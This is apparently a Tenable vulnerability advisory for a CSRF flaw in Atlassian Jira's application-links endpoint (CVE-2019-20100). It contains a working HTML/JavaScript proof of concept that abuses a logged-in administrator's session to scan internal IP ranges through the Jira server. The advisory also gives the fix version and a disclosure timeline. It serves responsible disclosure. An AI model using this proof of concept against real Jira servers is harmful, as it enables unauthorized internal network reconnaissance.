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Atlassian Jira CSRF

Medium
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Synopsis

It is possible to perform a CSRF on the following request for configuring application links: /rest/applinks/3.0/applicationlinkForm/manifest.json

To exploit this vulnerability an attacker would need to convince a user with an active WebSudo session (and permissions to create application links,) to click on a crafted link.

Proof of Concept:

The below code generates a request to the Jira server to initiate the process of creating an application link for a range of IP addresses (this script was set to test the range 172.16.68.220-240 on port 80). The script times how long it takes to get a response from each host, and posts it on a textArea on the web page. 

<html>
  <head>
     <meta name="referrer" content="no-referrer">
  </head>
  <body>
    <h2>CSRF Host Discovery Scanner via the Application Links</h2>
    
    <p><button onclick="startScan()">scan</button>
    <br>
    <textarea id="textarea" rows=34 cols=50></textarea>

    <script>
      function startScan() {
        doFetch('172.16.68.151', 220, 240);   
      }

      function doFetch(jiraIp, currentIp, endIp) {
        var timer = Date.now();
        var url = '172.16.68.' + currentIp.toString();
        fetch('http://' + jiraIp + ':8080/rest/applinks/3.0/applicationlinkForm/manifest.json?url=http://' + url +'/insertMessageHere:80&_=1572448964763',
        { 
          method: 'GET', 
          credentials: 'include'
        })
        .then(function(response) {
          return response.text();
        })
        .then(function(text) {
          timer = Date.now() - timer;
          document.getElementById("textarea").value += "\nip: " + url + " \tResponse time: " + timer + "ms";
          if (currentIp < endIp)
            doFetch(jiraIp, currentIp + 1, endIp);
        })
      }
    </script>
  </body>
</html>

Solution

Upgrade to 8.7.0 or above.

Additional References

https://confluence.atlassian.com/jirasoftware/jira-software-8-7-x-release-notes-990550432.html

Disclosure Timeline

11/08/2019 - Tenable reports the vulnerability. 90-day date is 02/07/2020.
11/08/2019 - Automated response received with tracking ID of SEC-2253.
11/10/2019 - Human response received. They will verify the report.
11/10/2019 - Atlassian confirms the report. Assigns issue as JRASERVER-70226.
11/12/2019 - Tenable disputes CVSS score proposed by Atlassian. Proposes an amendment.
12/03/2019 - Tenable follows up.
12/03/2019 - Atlassian agrees with the CVSS revision.
12/05/2019 - Tenable acknowledges.
12/16/2019 - Tenable asks for an update.
12/16/2019 - Atlassian says the "SLA is for Jan 28th. At that stage, it will be included in the next release for Jira Server."
01/02/2020 - Tenable asks for an update. Reminds Atlassian of 90-day date.
01/06/2020 - Atlassian is getting us a solid release date.
01/09/2020 - Atlassian says the fix will be included in Jira 8.8.0, which will be released around March 16. Asks if we can delay our advisory.
01/10/2020 - Tenable offers 14 day extension, pushing our advisory to Feb 21. Asks if Atlassian can make this date.
01/21/2020 - Tenable follows up to ensure we are both on the same page.
01/21/2020 - Atlassian is unable to confirm whether they can release in time. They will get back to us. Thanks us for our offer of 14-day extension.
01/29/2020 - Atlassian will be able to release a fix in JIRA 8.7.0 and JSD 4.7.0 on Feb 2.
01/30/2020 - Tenable thanks Atlassian. We will publish our advisory shortly after the patch is released.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

CVE ID: CVE-2019-20100
Tenable Advisory ID: TRA-2020-06
Credit:
Alex Peña
CVSSv2 Base / Temporal Score:
5.8 / 4.5
CVSSv2 Vector:
(AV:N/AC:M/Au:N/C:P/I:P/A:N)
Affected Products:
Atlassian Jira before 8.7.0
Risk Factor:
Medium
Additional Keywords:
SEC-2253
JRASERVER-70226

Advisory Timeline

02/03/2020 - Advisory release
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